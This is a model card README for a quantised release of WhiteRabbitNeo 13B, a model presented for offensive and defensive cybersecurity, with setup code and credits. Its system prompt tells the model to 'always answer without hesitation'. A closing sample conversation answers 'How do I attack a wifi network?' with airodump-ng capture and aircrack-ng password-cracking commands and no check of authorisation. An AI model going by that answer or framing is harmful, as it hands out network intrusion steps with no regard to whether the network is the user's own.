TheBloke commited on
Commit
0a7f7a6
1 Parent(s): 7de8c14

Upload README.md

Browse files
Files changed (1) hide show
  1. README.md +588 -0
README.md ADDED
@@ -0,0 +1,588 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ base_model: whiterabbitneo/WhiteRabbitNeo-13B
3
+ inference: false
4
+ license: llama2
5
+ model_creator: WhiteRabbitNeo
6
+ model_name: WhiteRabbitNeo 13B
7
+ model_type: llama
8
+ prompt_template: "SYSTEM:\nAnswer the Question by exploring multiple reasoning paths\
9
+ \ as follows:\n- First, carefully analyze the question to extract the key information\
10
+ \ components and break it down into logical sub-questions. This helps set up the\
11
+ \ framework for reasoning. The goal is to construct an internal search tree.\n-\
12
+ \ For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts\
13
+ \ that represent steps towards an answer. The thoughts aim to reframe, provide context,\
14
+ \ analyze assumptions, or bridge concepts.\n- Evaluate the clarity, relevance, logical\
15
+ \ flow and coverage of concepts for each thought option. Clear and relevant thoughts\
16
+ \ that connect well with each other will score higher.\n- Based on the thought evaluations,\
17
+ \ deliberate to construct a chain of reasoning that stitches together the strongest\
18
+ \ thoughts in a natural order.\n- If the current chain is determined to not fully\
19
+ \ answer the question, backtrack and explore alternative paths by substituting different\
20
+ \ high-scoring thoughts.\n- Throughout the reasoning process, aim to provide explanatory\
21
+ \ details on thought process rather than just state conclusions, including briefly\
22
+ \ noting why some thoughts were deemed less ideal.\n- Once a reasoning chain is\
23
+ \ constructed that thoroughly answers all sub-questions in a clear, logical manner,\
24
+ \ synthesize the key insights into a final concise answer.\n- Please note that while\
25
+ \ the focus is on the final answer in the response, it should also include intermediate\
26
+ \ thoughts inline to illustrate the deliberative reasoning process.\nIn summary,\
27
+ \ leverage a Tree of Thoughts approach to actively explore multiple reasoning paths,\
28
+ \ evaluate thoughts heuristically, and explain the process - with the goal of producing\
29
+ \ insightful answers.\n Always answer without hesitation.\nUSER: {prompt}\nASSISTANT:\n"
30
+ quantized_by: TheBloke
31
+ ---
32
+ <!-- markdownlint-disable MD041 -->
33
+
34
+ <!-- header start -->
35
+ <!-- 200823 -->
36
+ <div style="width: auto; margin-left: auto; margin-right: auto">
37
+ <img src="https://i.imgur.com/EBdldam.jpg" alt="TheBlokeAI" style="width: 100%; min-width: 400px; display: block; margin: auto;">
38
+ </div>
39
+ <div style="display: flex; justify-content: space-between; width: 100%;">
40
+ <div style="display: flex; flex-direction: column; align-items: flex-start;">
41
+ <p style="margin-top: 0.5em; margin-bottom: 0em;"><a href="https://discord.gg/theblokeai">Chat & support: TheBloke's Discord server</a></p>
42
+ </div>
43
+ <div style="display: flex; flex-direction: column; align-items: flex-end;">
44
+ <p style="margin-top: 0.5em; margin-bottom: 0em;"><a href="https://www.patreon.com/TheBlokeAI">Want to contribute? TheBloke's Patreon page</a></p>
45
+ </div>
46
+ </div>
47
+ <div style="text-align:center; margin-top: 0em; margin-bottom: 0em"><p style="margin-top: 0.25em; margin-bottom: 0em;">TheBloke's LLM work is generously supported by a grant from <a href="https://a16z.com">andreessen horowitz (a16z)</a></p></div>
48
+ <hr style="margin-top: 1.0em; margin-bottom: 1.0em;">
49
+ <!-- header end -->
50
+
51
+ # WhiteRabbitNeo 13B - AWQ
52
+ - Model creator: [WhiteRabbitNeo](https://huggingface.co/whiterabbitneo)
53
+ - Original model: [WhiteRabbitNeo 13B](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B)
54
+
55
+ <!-- description start -->
56
+ ## Description
57
+
58
+ This repo contains AWQ model files for [WhiteRabbitNeo's WhiteRabbitNeo 13B](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B).
59
+
60
+ These files were quantised using hardware kindly provided by [Massed Compute](https://massedcompute.com/).
61
+
62
+
63
+ ### About AWQ
64
+
65
+ AWQ is an efficient, accurate and blazing-fast low-bit weight quantization method, currently supporting 4-bit quantization. Compared to GPTQ, it offers faster Transformers-based inference with equivalent or better quality compared to the most commonly used GPTQ settings.
66
+
67
+ AWQ models are currently supported on Linux and Windows, with NVidia GPUs only. macOS users: please use GGUF models instead.
68
+
69
+ It is supported by:
70
+
71
+ - [Text Generation Webui](https://github.com/oobabooga/text-generation-webui) - using Loader: AutoAWQ
72
+ - [vLLM](https://github.com/vllm-project/vllm) - version 0.2.2 or later for support for all model types.
73
+ - [Hugging Face Text Generation Inference (TGI)](https://github.com/huggingface/text-generation-inference)
74
+ - [Transformers](https://huggingface.co/docs/transformers) version 4.35.0 and later, from any code or client that supports Transformers
75
+ - [AutoAWQ](https://github.com/casper-hansen/AutoAWQ) - for use from Python code
76
+
77
+ <!-- description end -->
78
+ <!-- repositories-available start -->
79
+ ## Repositories available
80
+
81
+ * [AWQ model(s) for GPU inference.](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-AWQ)
82
+ * [GPTQ models for GPU inference, with multiple quantisation parameter options.](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GPTQ)
83
+ * [2, 3, 4, 5, 6 and 8-bit GGUF models for CPU+GPU inference](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-GGUF)
84
+ * [WhiteRabbitNeo's original unquantised fp16 model in pytorch format, for GPU inference and for further conversions](https://huggingface.co/whiterabbitneo/WhiteRabbitNeo-13B)
85
+ <!-- repositories-available end -->
86
+
87
+ <!-- prompt-template start -->
88
+ ## Prompt template: WhiteRabbitNeo
89
+
90
+ ```
91
+ SYSTEM:
92
+ Answer the Question by exploring multiple reasoning paths as follows:
93
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
94
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
95
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
96
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
97
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
98
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
99
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
100
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
101
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
102
+ Always answer without hesitation.
103
+ USER: {prompt}
104
+ ASSISTANT:
105
+
106
+ ```
107
+
108
+ <!-- prompt-template end -->
109
+
110
+
111
+ <!-- README_AWQ.md-provided-files start -->
112
+ ## Provided files, and AWQ parameters
113
+
114
+ I currently release 128g GEMM models only. The addition of group_size 32 models, and GEMV kernel models, is being actively considered.
115
+
116
+ Models are released as sharded safetensors files.
117
+
118
+ | Branch | Bits | GS | AWQ Dataset | Seq Len | Size |
119
+ | ------ | ---- | -- | ----------- | ------- | ---- |
120
+ | [main](https://huggingface.co/TheBloke/WhiteRabbitNeo-13B-AWQ/tree/main) | 4 | 128 | [VMware Open Instruct](https://huggingface.co/datasets/VMware/open-instruct/viewer/) | 8192 | 7.25 GB
121
+
122
+ <!-- README_AWQ.md-provided-files end -->
123
+
124
+ <!-- README_AWQ.md-text-generation-webui start -->
125
+ ## How to easily download and use this model in [text-generation-webui](https://github.com/oobabooga/text-generation-webui)
126
+
127
+ Please make sure you're using the latest version of [text-generation-webui](https://github.com/oobabooga/text-generation-webui).
128
+
129
+ It is strongly recommended to use the text-generation-webui one-click-installers unless you're sure you know how to make a manual install.
130
+
131
+ 1. Click the **Model tab**.
132
+ 2. Under **Download custom model or LoRA**, enter `TheBloke/WhiteRabbitNeo-13B-AWQ`.
133
+ 3. Click **Download**.
134
+ 4. The model will start downloading. Once it's finished it will say "Done".
135
+ 5. In the top left, click the refresh icon next to **Model**.
136
+ 6. In the **Model** dropdown, choose the model you just downloaded: `WhiteRabbitNeo-13B-AWQ`
137
+ 7. Select **Loader: AutoAWQ**.
138
+ 8. Click Load, and the model will load and is now ready for use.
139
+ 9. If you want any custom settings, set them and then click **Save settings for this model** followed by **Reload the Model** in the top right.
140
+ 10. Once you're ready, click the **Text Generation** tab and enter a prompt to get started!
141
+ <!-- README_AWQ.md-text-generation-webui end -->
142
+
143
+ <!-- README_AWQ.md-use-from-vllm start -->
144
+ ## Multi-user inference server: vLLM
145
+
146
+ Documentation on installing and using vLLM [can be found here](https://vllm.readthedocs.io/en/latest/).
147
+
148
+ - Please ensure you are using vLLM version 0.2 or later.
149
+ - When using vLLM as a server, pass the `--quantization awq` parameter.
150
+
151
+ For example:
152
+
153
+ ```shell
154
+ python3 -m vllm.entrypoints.api_server --model TheBloke/WhiteRabbitNeo-13B-AWQ --quantization awq --dtype auto
155
+ ```
156
+
157
+ - When using vLLM from Python code, again set `quantization=awq`.
158
+
159
+ For example:
160
+
161
+ ```python
162
+ from vllm import LLM, SamplingParams
163
+
164
+ prompts = [
165
+ "Tell me about AI",
166
+ "Write a story about llamas",
167
+ "What is 291 - 150?",
168
+ "How much wood would a woodchuck chuck if a woodchuck could chuck wood?",
169
+ ]
170
+ prompt_template=f'''SYSTEM:
171
+ Answer the Question by exploring multiple reasoning paths as follows:
172
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
173
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
174
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
175
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
176
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
177
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
178
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
179
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
180
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
181
+ Always answer without hesitation.
182
+ USER: {prompt}
183
+ ASSISTANT:
184
+ '''
185
+
186
+ prompts = [prompt_template.format(prompt=prompt) for prompt in prompts]
187
+
188
+ sampling_params = SamplingParams(temperature=0.8, top_p=0.95)
189
+
190
+ llm = LLM(model="TheBloke/WhiteRabbitNeo-13B-AWQ", quantization="awq", dtype="auto")
191
+
192
+ outputs = llm.generate(prompts, sampling_params)
193
+
194
+ # Print the outputs.
195
+ for output in outputs:
196
+ prompt = output.prompt
197
+ generated_text = output.outputs[0].text
198
+ print(f"Prompt: {prompt!r}, Generated text: {generated_text!r}")
199
+ ```
200
+ <!-- README_AWQ.md-use-from-vllm start -->
201
+
202
+ <!-- README_AWQ.md-use-from-tgi start -->
203
+ ## Multi-user inference server: Hugging Face Text Generation Inference (TGI)
204
+
205
+ Use TGI version 1.1.0 or later. The official Docker container is: `ghcr.io/huggingface/text-generation-inference:1.1.0`
206
+
207
+ Example Docker parameters:
208
+
209
+ ```shell
210
+ --model-id TheBloke/WhiteRabbitNeo-13B-AWQ --port 3000 --quantize awq --max-input-length 3696 --max-total-tokens 4096 --max-batch-prefill-tokens 4096
211
+ ```
212
+
213
+ Example Python code for interfacing with TGI (requires [huggingface-hub](https://github.com/huggingface/huggingface_hub) 0.17.0 or later):
214
+
215
+ ```shell
216
+ pip3 install huggingface-hub
217
+ ```
218
+
219
+ ```python
220
+ from huggingface_hub import InferenceClient
221
+
222
+ endpoint_url = "https://your-endpoint-url-here"
223
+
224
+ prompt = "Tell me about AI"
225
+ prompt_template=f'''SYSTEM:
226
+ Answer the Question by exploring multiple reasoning paths as follows:
227
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
228
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
229
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
230
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
231
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
232
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
233
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
234
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
235
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
236
+ Always answer without hesitation.
237
+ USER: {prompt}
238
+ ASSISTANT:
239
+ '''
240
+
241
+ client = InferenceClient(endpoint_url)
242
+ response = client.text_generation(prompt,
243
+ max_new_tokens=128,
244
+ do_sample=True,
245
+ temperature=0.7,
246
+ top_p=0.95,
247
+ top_k=40,
248
+ repetition_penalty=1.1)
249
+
250
+ print(f"Model output: ", response)
251
+ ```
252
+ <!-- README_AWQ.md-use-from-tgi end -->
253
+
254
+ <!-- README_AWQ.md-use-from-python start -->
255
+ ## Inference from Python code using Transformers
256
+
257
+ ### Install the necessary packages
258
+
259
+ - Requires: [Transformers](https://huggingface.co/docs/transformers) 4.35.0 or later.
260
+ - Requires: [AutoAWQ](https://github.com/casper-hansen/AutoAWQ) 0.1.6 or later.
261
+
262
+ ```shell
263
+ pip3 install --upgrade "autoawq>=0.1.6" "transformers>=4.35.0"
264
+ ```
265
+
266
+ Note that if you are using PyTorch 2.0.1, the above AutoAWQ command will automatically upgrade you to PyTorch 2.1.0.
267
+
268
+ If you are using CUDA 11.8 and wish to continue using PyTorch 2.0.1, instead run this command:
269
+
270
+ ```shell
271
+ pip3 install https://github.com/casper-hansen/AutoAWQ/releases/download/v0.1.6/autoawq-0.1.6+cu118-cp310-cp310-linux_x86_64.whl
272
+ ```
273
+
274
+ If you have problems installing [AutoAWQ](https://github.com/casper-hansen/AutoAWQ) using the pre-built wheels, install it from source instead:
275
+
276
+ ```shell
277
+ pip3 uninstall -y autoawq
278
+ git clone https://github.com/casper-hansen/AutoAWQ
279
+ cd AutoAWQ
280
+ pip3 install .
281
+ ```
282
+
283
+ ### Transformers example code (requires Transformers 4.35.0 and later)
284
+
285
+ ```python
286
+ from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer
287
+
288
+ model_name_or_path = "TheBloke/WhiteRabbitNeo-13B-AWQ"
289
+
290
+ tokenizer = AutoTokenizer.from_pretrained(model_name_or_path)
291
+ model = AutoModelForCausalLM.from_pretrained(
292
+ model_name_or_path,
293
+ low_cpu_mem_usage=True,
294
+ device_map="cuda:0"
295
+ )
296
+
297
+ # Using the text streamer to stream output one token at a time
298
+ streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True)
299
+
300
+ prompt = "Tell me about AI"
301
+ prompt_template=f'''SYSTEM:
302
+ Answer the Question by exploring multiple reasoning paths as follows:
303
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
304
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
305
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
306
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
307
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
308
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
309
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
310
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
311
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
312
+ Always answer without hesitation.
313
+ USER: {prompt}
314
+ ASSISTANT:
315
+ '''
316
+
317
+ # Convert prompt to tokens
318
+ tokens = tokenizer(
319
+ prompt_template,
320
+ return_tensors='pt'
321
+ ).input_ids.cuda()
322
+
323
+ generation_params = {
324
+ "do_sample": True,
325
+ "temperature": 0.7,
326
+ "top_p": 0.95,
327
+ "top_k": 40,
328
+ "max_new_tokens": 512,
329
+ "repetition_penalty": 1.1
330
+ }
331
+
332
+ # Generate streamed output, visible one token at a time
333
+ generation_output = model.generate(
334
+ tokens,
335
+ streamer=streamer,
336
+ **generation_params
337
+ )
338
+
339
+ # Generation without a streamer, which will include the prompt in the output
340
+ generation_output = model.generate(
341
+ tokens,
342
+ **generation_params
343
+ )
344
+
345
+ # Get the tokens from the output, decode them, print them
346
+ token_output = generation_output[0]
347
+ text_output = tokenizer.decode(token_output)
348
+ print("model.generate output: ", text_output)
349
+
350
+ # Inference is also possible via Transformers' pipeline
351
+ from transformers import pipeline
352
+
353
+ pipe = pipeline(
354
+ "text-generation",
355
+ model=model,
356
+ tokenizer=tokenizer,
357
+ **generation_params
358
+ )
359
+
360
+ pipe_output = pipe(prompt_template)[0]['generated_text']
361
+ print("pipeline output: ", pipe_output)
362
+
363
+ ```
364
+ <!-- README_AWQ.md-use-from-python end -->
365
+
366
+ <!-- README_AWQ.md-compatibility start -->
367
+ ## Compatibility
368
+
369
+ The files provided are tested to work with:
370
+
371
+ - [text-generation-webui](https://github.com/oobabooga/text-generation-webui) using `Loader: AutoAWQ`.
372
+ - [vLLM](https://github.com/vllm-project/vllm) version 0.2.0 and later.
373
+ - [Hugging Face Text Generation Inference (TGI)](https://github.com/huggingface/text-generation-inference) version 1.1.0 and later.
374
+ - [Transformers](https://huggingface.co/docs/transformers) version 4.35.0 and later.
375
+ - [AutoAWQ](https://github.com/casper-hansen/AutoAWQ) version 0.1.1 and later.
376
+
377
+ <!-- README_AWQ.md-compatibility end -->
378
+
379
+ <!-- footer start -->
380
+ <!-- 200823 -->
381
+ ## Discord
382
+
383
+ For further support, and discussions on these models and AI in general, join us at:
384
+
385
+ [TheBloke AI's Discord server](https://discord.gg/theblokeai)
386
+
387
+ ## Thanks, and how to contribute
388
+
389
+ Thanks to the [chirper.ai](https://chirper.ai) team!
390
+
391
+ Thanks to Clay from [gpus.llm-utils.org](llm-utils)!
392
+
393
+ I've had a lot of people ask if they can contribute. I enjoy providing models and helping people, and would love to be able to spend even more time doing it, as well as expanding into new projects like fine tuning/training.
394
+
395
+ If you're able and willing to contribute it will be most gratefully received and will help me to keep providing more models, and to start work on new AI projects.
396
+
397
+ Donaters will get priority support on any and all AI/LLM/model questions and requests, access to a private Discord room, plus other benefits.
398
+
399
+ * Patreon: https://patreon.com/TheBlokeAI
400
+ * Ko-Fi: https://ko-fi.com/TheBlokeAI
401
+
402
+ **Special thanks to**: Aemon Algiz.
403
+
404
+ **Patreon special mentions**: Michael Levine, 阿明, Trailburnt, Nikolai Manek, John Detwiler, Randy H, Will Dee, Sebastain Graf, NimbleBox.ai, Eugene Pentland, Emad Mostaque, Ai Maven, Jim Angel, Jeff Scroggin, Michael Davis, Manuel Alberto Morcote, Stephen Murray, Robert, Justin Joy, Luke @flexchar, Brandon Frisco, Elijah Stavena, S_X, Dan Guido, Undi ., Komninos Chatzipapas, Shadi, theTransient, Lone Striker, Raven Klaugh, jjj, Cap'n Zoog, Michel-Marie MAUDET (LINAGORA), Matthew Berman, David, Fen Risland, Omer Bin Jawed, Luke Pendergrass, Kalila, OG, Erik Bjäreholt, Rooh Singh, Joseph William Delisle, Dan Lewis, TL, John Villwock, AzureBlack, Brad, Pedro Madruga, Caitlyn Gatomon, K, jinyuan sun, Mano Prime, Alex, Jeffrey Morgan, Alicia Loh, Illia Dulskyi, Chadd, transmissions 11, fincy, Rainer Wilmers, ReadyPlayerEmma, knownsqashed, Mandus, biorpg, Deo Leter, Brandon Phillips, SuperWojo, Sean Connelly, Iucharbius, Jack West, Harry Royden McLaughlin, Nicholas, terasurfer, Vitor Caleffi, Duane Dunston, Johann-Peter Hartmann, David Ziegler, Olakabola, Ken Nordquist, Trenton Dambrowitz, Tom X Nguyen, Vadim, Ajan Kanaga, Leonard Tan, Clay Pascal, Alexandros Triantafyllidis, JM33133, Xule, vamX, ya boyyy, subjectnull, Talal Aujan, Alps Aficionado, wassieverse, Ari Malik, James Bentley, Woland, Spencer Kim, Michael Dempsey, Fred von Graf, Elle, zynix, William Richards, Stanislav Ovsiannikov, Edmond Seymore, Jonathan Leane, Martin Kemka, usrbinkat, Enrico Ros
405
+
406
+
407
+ Thank you to all my generous patrons and donaters!
408
+
409
+ And thank you again to a16z for their generous grant.
410
+
411
+ <!-- footer end -->
412
+
413
+ # Original model card: WhiteRabbitNeo's WhiteRabbitNeo 13B
414
+
415
+
416
+ # Our Discord Server
417
+ Join us at: https://discord.gg/NxTR8JqV
418
+
419
+ # LLaMA-2 Licence + WhiteRabbitNeo Extended Version
420
+
421
+ # Licence: Usage Restrictions
422
+
423
+ ```
424
+ You agree not to use the Model or Derivatives of the Model:
425
+
426
+ - In any way that violates any applicable national or international law or regulation or infringes upon the lawful rights and interests of any third party;
427
+ - For military use in any way;
428
+ - For the purpose of exploiting, harming or attempting to exploit or harm minors in any way;
429
+ - To generate or disseminate verifiably false information and/or content with the purpose of harming others;
430
+ - To generate or disseminate inappropriate content subject to applicable regulatory requirements;
431
+ - To generate or disseminate personal identifiable information without due authorization or for unreasonable use;
432
+ - To defame, disparage or otherwise harass others;
433
+ - For fully automated decision making that adversely impacts an individual’s legal rights or otherwise creates or modifies a binding, enforceable obligation;
434
+ - For any use intended to or which has the effect of discriminating against or harming individuals or groups based on online or offline social behavior or known or predicted personal or personality characteristics;
435
+ - To exploit any of the vulnerabilities of a specific group of persons based on their age, social, physical or mental characteristics, in order to materially distort the behavior of a person pertaining to that group in a manner that causes or is likely to cause that person or another person physical or psychological harm;
436
+ - For any use intended to or which has the effect of discriminating against individuals or groups based on legally protected characteristics or categories.
437
+ ```
438
+
439
+ # WhiteRabbitNeo
440
+
441
+ <br>
442
+
443
+ ![Synthia](https://huggingface.co/migtissera/WhiteRabbitNeo/resolve/main/WhiteRabbitNeo.png)
444
+
445
+ <br>
446
+
447
+ WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity.
448
+
449
+ This 13B model is getting released as a public preview of its capabilities, and also to assess the societal impact of such an AI.
450
+
451
+ ```
452
+ import torch, json
453
+ from transformers import AutoModelForCausalLM, AutoTokenizer
454
+
455
+ model_path = "/home/migel/models/WhiteRabbitNeo"
456
+
457
+ model = AutoModelForCausalLM.from_pretrained(
458
+ model_path,
459
+ torch_dtype=torch.float16,
460
+ device_map="auto",
461
+ load_in_4bit=False,
462
+ load_in_8bit=True,
463
+ trust_remote_code=True,
464
+ )
465
+
466
+ tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
467
+
468
+
469
+ def generate_text(instruction):
470
+ tokens = tokenizer.encode(instruction)
471
+ tokens = torch.LongTensor(tokens).unsqueeze(0)
472
+ tokens = tokens.to("cuda")
473
+
474
+ instance = {
475
+ "input_ids": tokens,
476
+ "top_p": 1.0,
477
+ "temperature": 0.5,
478
+ "generate_len": 1024,
479
+ "top_k": 50,
480
+ }
481
+
482
+ length = len(tokens[0])
483
+ with torch.no_grad():
484
+ rest = model.generate(
485
+ input_ids=tokens,
486
+ max_length=length + instance["generate_len"],
487
+ use_cache=True,
488
+ do_sample=True,
489
+ top_p=instance["top_p"],
490
+ temperature=instance["temperature"],
491
+ top_k=instance["top_k"],
492
+ num_return_sequences=1,
493
+ )
494
+ output = rest[0][length:]
495
+ string = tokenizer.decode(output, skip_special_tokens=True)
496
+ answer = string.split("USER:")[0].strip()
497
+ return f"{answer}"
498
+
499
+
500
+ tot_system_prompt = """
501
+ Answer the Question by exploring multiple reasoning paths as follows:
502
+ - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
503
+ - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
504
+ - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
505
+ - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
506
+ - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
507
+ - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
508
+ - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
509
+ - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
510
+ In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
511
+ """
512
+
513
+ conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
514
+
515
+
516
+ while True:
517
+ user_input = input("You: ")
518
+ llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
519
+ answer = generate_text(llm_prompt)
520
+ print(answer)
521
+ conversation = f"{llm_prompt}{answer}"
522
+ # print(conversation)
523
+ json_data = {"prompt": user_input, "answer": answer}
524
+
525
+ # print(json_data)
526
+ # with open(output_file_path, "a") as output_file:
527
+ # output_file.write(json.dumps(json_data) + "\n")
528
+
529
+ ```
530
+
531
+ # Sample Conversation:
532
+
533
+ You: How do I attack a wifi network?
534
+
535
+ 1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network
536
+ you're interested in.
537
+
538
+ ```bash
539
+ airodump-ng wlan0mon
540
+ ```
541
+
542
+ 2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks.
543
+
544
+ ```bash
545
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
546
+ ```
547
+
548
+ 3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`.
549
+
550
+ ```bash
551
+ airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
552
+ ```
553
+
554
+ 4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password.
555
+
556
+ ```bash
557
+ aircrack-ng [Captured Handshake File]
558
+ ```
559
+
560
+ 5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card.
